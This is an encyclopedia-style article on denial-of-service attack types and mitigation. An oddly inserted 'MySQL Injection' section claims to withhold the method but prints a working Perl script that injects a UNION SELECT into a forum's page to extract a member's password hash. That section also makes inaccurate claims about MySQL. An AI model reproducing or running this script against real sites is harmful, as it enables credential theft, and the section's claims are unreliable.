Denial-of-service attack
In
computer security a
denial-of-service attack (
DoS attack) is a
computer crime that violates the
Internet proper use policy as indicated by the
Internet Architecture Board (IAB) and makes a computer resource unavailable to its intended users.
DoS
attacks have two general forms:
* Force the victim computer(s) to reset or consume its resources such that it can no longer provide its intended service.
* Obstruct the communication media between the intended users and the victim in such that they can no longer communicate adequately.
Attacks can be directed at any network device, including attacks on
routing devices and
Web,
electronic mail, or
Domain Name System servers.
A DoS attack can be perpetrated in a number of ways. There are three basic types of attack:# consumption of computational resources, such as bandwidth, disk space, or
CPU time# disruption of configuration information, such as
routing information# disruption of physical network components
SYN floods
SYN flood sends a flood of
TCP/SYN packets, often with a forged sender address. Each of these packets is handled like a connection request, causing the server to spawn a
half-open connection, by sending back a TCP/SYN-ACK packet, and waiting for an packet in response from the sender address. However, because the sender address is forged, the response never comes. These half-open connections consume resources on the server and limit the number of connections the server is able to make, reducing the server's ability to respond to legitimate requests until after the attack ends.
When a computer wants to make a TCP/IP connection (the most common internet connection) to another computer, usually a server, an exchange of
TCP/SYN and packets of information occur. The computer requesting the connection, usually the client or user's computer, sends a
TCP/SYN packet which asks the server if it can connect. If the server will allow connections, it sends a TCP/SYN-ACK packet back to the client to say "Yes, you may connect" and reserves a space for the connection, waiting for the client to respond with a packet detailing the specifics of its connection.
In a
SYN flood the address of the client is often forged so that when the server sends the go-ahead back to the client, the message is never received because the client either doesn't exist or wasn't expecting the packet and subsequently ignores it. This leaves the server with a dead connection, reserved for a client that will never respond. Usually this is done to one server many times in order to reserve all the connections for unresolved clients, which keeps legitimate clients from making connections.
Liken it to a party you are having. Your house can only hold 50 people, and you are giving invitations on a first-come first-serve basis. You get 50 letters in the mail, asking for invitations, so you send them out. Unfortunately all the return addresses provided are fake so nobody receives the invitations. Now, when someone who actually wants to come to the party writes to you, you have no invitations left to give them because you think those 50 people are going to come.
LAND attack
A
LAND attack involves sending a
spoofed
TCP SYN packet (connection initiation) with the target host's
IP address with an open port as both source and destination. The attack causes the targeted machine to reply to itself continuously and eventually crash.
ICMP floods
A
smurf attack is one particular variant of a flooding DoS attack on the public
Internet. It relies on mis-configured network devices that allow packets to be sent to all computer hosts on a particular network via the
broadcast address of the network, rather than a specific machine. The network then serves as a
smurf amplifier. In such an attack, the perpetrators will send large numbers of
IP packets with a faked source address, that is set to the address of the intended victim. To combat Denial of Service attacks on the Internet, services like the
Smurf Amplifier Registry have given
network service providers the ability to identify misconfigured networks and to take appropriate action such as
filtering.
Ping flood is based on sending the victim an overwhelming number of
ping packets, usually using the "ping -f" command. It is very simple to launch, the primary requirement being access to greater
bandwidth than the victim.
UDP floods
UDP floods include "
Fraggle attacks". In a
fraggle attack an attacker sends a large amount of
UDP echo traffic to IP
broadcast addresses, all of it having a fake source address. It is a simple rewrite of the
smurf attack code.
Teardrop attack
The
Teardrop attack involved sending
IP fragments with overlapping oversized payloads to the target machine. A bug in the
TCP/IP fragmentation re-assembly code caused the fragments to be improperly handled, crashing the operating system as a result.[
1]
Windows 3.1x,
Windows 95 and
Windows NT operating systems, as well as versions of
Linux prior to 2.0.32 and 2.1.63 are vulnerable to this attack.
Application level floods
On
IRC,
IRC floods are a common electronic warfare weapon.
Various DoS-causing
exploits such as
buffer overflow can cause server-running software to get confused and fill the disk space or consume all available memory or CPU time.
Other kinds of DoS rely primarily on brute force, flooding the target with an overwhelming flux of packets, oversaturating its connection bandwidth or depleting the target's system resources. Bandwidth-saturating floods rely on the attacker having higher bandwidth available than the victim; a common way of achieving this today is via
Distributed Denial of Service, employing a
botnet. Other floods may use specific packet types or connection requests to saturate finite resources by, for example, occupying the maximum number of open connections or filling the victim's disk space with logs.
A "banana attack" is another particular type of DoS. It involves redirecting outgoing messages from the client back onto the client, preventing outside access, as well as flooding the client with the sent packets.
An attacker with access to a victim's computer may slow it until it is unusable or crash it by using a
fork bomb.
A 'Pulsing zombie' is a term referring to a special denial-of-service attack. A
network is subjected to hostile
pinging by different attacker computers over an extended amount of time. This results in a degraded quality of service and increased workload for the network's resources. This type of attack is more difficult to detect than traditional denial-of-service attacks due to their surreptitious nature.
Nukes
Nukes are malformed or specially crafted packets.
WinNuke is a type of nuke, exploiting the vulnerability in the
NetBIOS handler in
Windows 95. A string of out-of-band data is sent to
TCP port 139 of the victim machine, causing it to lock up and display a
Blue Screen of Death. This attack was very popular between the
IRC-dwelling
script kiddies, due to easy availability of a user-friendly click-and-crash WinNuke program.
MySQL Injection
MySQL is a free databasing language and program used in most forums to organize various rows and manage the site's sub-server. A MySQL Injection is a malformed MySQL code that effects the targeted database in varying ways. Due to safety reasons, the method of applying a MySQL Injection will be withheld. A written example of and injection is as follows:
#!perl
#Greetz or begining message of the 404 would go here.
use IO::Socket;
$host = $ARGV[0];
$path = $ARGV[1];
$topic = $ARGV[2];
$id = $ARGV[3];
if (@ARGV < 4) {
print "-\n";
print "\n";
print "\n";
print "\n";
print "\n";
print "\n";
print "-\n";
exit();
}
$sock = IO::Socket::INET->new(PeerAddr => "$host",PeerPort => "80",Proto => "tcp") ¦¦ die "Can't establish a connection\n";
print $sock "GET /$path/index.php?page=forum&func=post&par=$topic HTTP/1.1\n";
print $sock "User-Agent: Mozilla/4.0\n";
print $sock "Host: $host\n\n";
while ($asd = <$sock>) {
if ($asd =~ /Set-Cookie:/gi) {
$asd =~ /cuser_id=([a-zA-Z0-9]{32})/;
$cookie = $1;
}
}$sock->close;
$socket = IO::Socket::INET->new(PeerAddr => "$host",PeerPort => "80",Proto => "tcp") ¦¦ die "Can't establish a connection\n"; print "\n";
print $socket "GET /$path/index.php?page=forum&func=post&par=$topic%20UNION%20SELECT%20null,null,null,null,null,null,password,null%20FROM%20cws_members%20WHERE%20member_id=$id/* HTTP/1.0\n";
print $socket "User-Agent: Mozilla/4.0\n";
print $socket "Host: $host\n";
print $socket "Cookie: cuser_id=$cookie; chitcounter=hitcounter\n\n";
print "\n";
while($ans = <$socket>) {
if ($ans =~ /([a-zA-Z0-9]{32})/){
if ($ans =~ /cookie/i) {
next;
}
print "\nmember id: $id \n";
print "md5 hash: $1 \n";
exit;
} }
Coded By: Derek H.
Distributed attack
A distributed denial of service attack (DDoS) occurs when multiple compromised systems flood the bandwidth or resources of a targeted system usually a web server(s). These systems are compromised by attackers using a variety of methods.
Malware can carry DDoS attack mechanisms one of the more well known examples of this was
MyDoom its DoS mechanism, was triggered by a certain date and time. This type of DDoS involved hardcoding the target ip prior to release of the malware and no further interaction was necessary to launch the attack.
A system may also be compromised with a trojan allowing the attacker to download a zombie agent or the trojan may contain one. Attackers can also break in to systems using automated tools that exploit flaws in programs listening for connections from remote hosts, this scenario primarily concerns systems acting as servers on the web.
Stacheldraht is a classic example of a DDoS tool it utilises a layered structure where the attacker uses a client program to connect to handlers which are compromised systems that issue commands to the zombie agents which in turn facilitate the DDoS attack. Agents are compromised via the handlers by the attacker using automated routines to exploit vulnerabilities in programs that accept remote connections running on the targeted remote hosts. Each handler can control up to a thousand agents.
[The "stacheldraht" distributed denial of service attack tool]These collections of compromised systems are known as botnets, DDoS tools like stacheldraht still use classic DoS attack methods centered around ip spoofing and amplification like smurf and fraggle attacks (these are also known as bandwidth consumption attacks), SYN floods (also known as resource starvation attacks) may also be used newer tools can use DNS servers for DoS purposes. (see next section)
Unlike MyDooms DDoS mechanism botnets can be turned against any ip address, script kiddies use them to deny the availability of well known websites to legitimate users.
[Intrusion Detection FAQ: Distributed Denial of Service Attack Tools: trinoo and wintrinoo] More sophisticated attackers will use DDoS tools for the purposes of extortion and even against their business rivals.
[US credit card firm fights DDoS attack]It is important to note the difference between a DDoS and DoS attack if an attacker mounts a smurf attack from a single host it would be classed as a DoS attack. In fact any attack against availability e.g. using
High-energy radio-frequency weapons to render computer equipment inoperable would be classed as a Denial of Service attack albeit an exotic one.
[Zap! ... and your PC's dead] On the other hand if an attacker uses a thousand zombie systems to simultaneously launch smurf attacks against a remote host this would be classed as a DDoS attack.
Reflected attack
A distributed reflected denial of service attack involves sending forged requests of some type to a very large number of computers that will reply to the requests. Using
Internet protocol spoofing, the source address is set to that of the targeted victim, which means all the replies will go to (and flood) the target.
ICMP Echo Request attacks (described above) can be considered one form of reflected attack, as the flooding host(s) send Echo Requests to the broadcast addresses of mis-configured networks, thereby enticing a large number of hosts to send Echo Reply packets to the victim. Some early DDoS programs implemented a distributed form of this attack.
Many services can be exploited to act as reflectors, some harder to block than others.
[Paxson, Vern (2001), An Analysis of Using Reflectors for Distributed Denial-of-Service Attacks] DNS amplification attacks involve a new mechanism that increased the amplification affect, using a much larger list of DNS servers than seen earlier.
[Vaughn, Randal and Evron, Gadi (2006), DNS Amplification Attacks]Unintentional attack
This describes a situation where a website ends up denied, not due to a deliberate attack by a single individual or group of individuals, but simply due to a sudden enormous spike in popularity. This can happen when an extremely popular website posts a prominent link to a second, less well-prepared site, for example, as part of a news story. The result is that a significant proportion of the primary site's regular users - potentially hundreds of thousands of people - click that link in the space of a few hours, having the same effect on the target website as a DDoS attack.
News sites and link sites - sites whose primary function is to provide links to interesting content elsewhere on the Internet - are most likely to cause this phenomenon. The canonical example is the
Slashdot effect, though sites such as
Digg,
Fark,
Something Awful and the webcomic
Penny-Arcade have their own corresponding "effects", known as "the Digg effect", "farking", "
goonrushing" and "wanging"; respectively.
Routers have also been known to create unintentional DoS attacks, as both
D-Link and
Netgear routers have created
NTP vandalism by flooding NTP servers without respecting the restrictions of client types or geographical limitations.
Incidents
The first major attack involving DNS servers as reflectors occurred in January, 2001. The attack was directed at the site Register.com.
[January 2001 thread on the UNISOG mailing list] This attack, which forged requests for the MX records of AOL.com (to amplify the attack) lasted about a week before it could be traced back to all attacking hosts and shut off. It used a list of tens of thousands of DNS servers that was at least a year old (at the time of the attack.)
In July 2002, the Honeynet Project Reverse Challenge was issued.
[ Honeynet Project Reverse Challenge] The binary that was analyzed turned out to be yet another DDoS agent, which implemented several DNS related attacks, including an optimized form of a reflection attack.
Denial of Service attacks can also lead to problems in the network 'branches' around the actual computer being attacked. For example, the bandwidth of a router between the Internet and a
LAN may be consumed by a DoS, meaning not only will the intended computer be compromised, but the entire network will also be disrupted.
If the DoS is conducted on a sufficiently large scale, entire geographical swathes of Internet connectivity can also be compromised by incorrectly configured or flimsy network infrastructure equipment without the attacker's knowledge or intent. For this reason, most, if not all
ISPs ban the practice.
*
Stacheldraht*
Tribe Flood Network*
TrinooSurviving attacks
There are steps that can be taken to mitigate the effects of a DDoS attack. As mentioned in the previous section, the first thing to start is the investigative process. One determines which core
router (a router that handles Internet backbone traffic) is passing the packets to one's border router (a router that connects his or her
network to the
Internet). One would contact the owners of the core router, likely a telecom company or the
internet service provider, and inform them of his or her problem. Ideally, there will be a process in place which can expedite one's requests for help. They, in turn, need to determine where the malicious traffic reaches their network and contact the source. By that point, it is out of one's hands.
Since it is not likely that the administrator will be able to quickly stop the DDoS flood, there are a few steps which might help mitigate the attack temporarily. If the target is a single machine, a simple
IP address change can end the flood. The new address can be updated on internal
DNS servers and given to a few crucial external users. This is especially useful for key servers (e.g.
email or
database) under attack on one's network.
There is a chance that some
filtering techniques can help. If the attack is unsophisticated, there might be a specific signature to the traffic. A careful examination of captured packets sometimes reveals a trait on which you can base either router
ACLs (access control lists) or
firewall rules. Additionally, a large amount of traffic may originate from a specific provider or core router. If that is the case, one might consider temporarily blocking all traffic from that source, which should allow a portion of legitimate activity through. One would also be blocking "real" packets, or legitimate traffic, but this may be an unavoidable sacrifice. However, depending on the method of attack, this option may be unavailable to you if, for example, the participants'
IP addresses are
spoofed.
An alternative option, one which might be available to larger companies and networks, is to throw more
hardware or
bandwidth at the flood and wait it out. Again, it is not the best solution, nor the least expensive one. It may provide a temporary fix, nevertheless. A final method would be to simply disconnect the server from the network by physically pulling out the cable connecting the computer to the
Internet (or disabling the hardware enabling this), which gives the SysAdmin a lot more time to work on the problem, but no service is then available for legitimate users. This method does not function on remotely-hosted servers such as
virtual private servers which are then impossible to access for their administrators, so the problem is more difficult to fix.
The investigative process should begin immediately after the DoS attack begins. There will be multiple phone calls, call backs, emails, pages and faxes between the victim organization, one's provider and others involved. It is a time consuming process, so the process should begin immediately. It has taken some very large networks with plenty of resources several hours to halt a DDoS.
The easiest way to survive an attack is to have planned for the attack. Having a separate emergency block of IP addresses for critical servers with a separate route can be invaluable. A separate route (perhaps a DSL) is not that extravagant, and it can be used for load balancing or sharing under normal circumstances and switched to emergency mode in the event of an attack. Filtering is generally pretty ineffective, as the route to your filter will normally be swamped so only a trickle of traffic will survive.
Firewalls
Firewalls have simple rules such as to allow or deny protocols, ports or IP addresses. DoS attacks are too complex for today's firewalls. E.g. if there is an attack on port 80 (web service), firewalls cannot prevent that attack because they cannot distinguish good traffic from DoS attack traffic. Additionally, firewalls are too deep in the network hierarchy. Your router may be affected even before the firewall gets the traffic.
Modern
Stateful inspection firewalls like
Check Point FW1 NGX &
Cisco PIX have a built-in capability to differentiate good traffic from DoS attack traffic. This capability is known as a "Defender", as it confirms TCP connections are valid before proxying TCP packets to service networks (including border routers).
Switches
Most switches have some rate-limiting and
ACL capability. Some switches provide automatic and or system-wide rate limiting, traffic shaping,
delayed binding (
TCP splicing),
deep packet inspection and
Bogon filtering (bogus IP filtering) to detect and remediate denial of service attacks through automatic rate filtering and WAN Link failover and balancing.
These schemes will work as long as the DoS attacks are something that can be prevented using them. For example SYN flood can be prevented using delayed binding or TCP splicing. Similarly content based DoS can be prevented using deep packet inspection. Attacks originating from dark addresses or going to dark addresses can be prevented using Bogon filtering. Automatic rate filtering can work as long as you have set rate-thresholds correctly and granularly. Wan-link failover will work as long as both links have DoS/DDoS prevention mechanism.
Routers
Similar to switches, routers have some rate-limiting and
ACL capability. They too are manually set. Most routers can be easily overwhelmed under DoS attack. If you add rules to take flow statistics out of the router during the DoS attacks, they further slow down and complicate the matter.
Application front end hardware
Application front end hardware is intellegent hardware placed on the network before traffic reaches the servers. It can be used on networks in conjuntion with routers and switches. Application front end hardware analyzes data packets as they enter the systemt and then identifies them as priority, regular, or dangerous. There are more than 25 bandwidth management vendors. Hardware acceleration is key to bandwidth management. Look for granularity of bandwidth management, hardware accleration, and automation while selecting an appliance.
IPS based prevention
Intrusion-prevention systems are effective if the attacks have signatures associated with them. However, the trend among the attacks is to have
legitimate content but bad intent. IPS systems which work on content recognition cannot block behavior based DoS attacks.
ASIC based IPS can detect and block denial of service attacks because they have the processing power and the granularity to analyze the attacks and act like a circuit breaker in an automated way.
A rate-based IPS (RBIPS) must analyze traffic granularly and continuously monitor the traffic pattern and determine if there is traffic anomaly. It must let the legitimate traffic flow while blocking the DoS attack traffic.
}}}
*
cert.org CERT's Guide to DoS attacks.
*
washington.edu Dave Dittrich's DDoS page.
*
surasoft.com - DDoS case study, concepts, and protection.
*
tik.ee.ethz.ch DDoSVax Research Project at the
Swiss Federal Institute of Technology in
Zürich.
*
honeypots.net Papers and presentations on DDoS mitigation techniques.
*
DoS attack resources*
newssocket.com An article regarding a DDoS for hire incident.
*
grc.com General information regarding DoS attacks.
*
isotf.org General information regarding DNS reflector and amplification DDoS attacks.
*
linuxsecurity.com An article on preventing DDoS attacks.
*
intruguarddevices.com News articles on DDoS attacks.
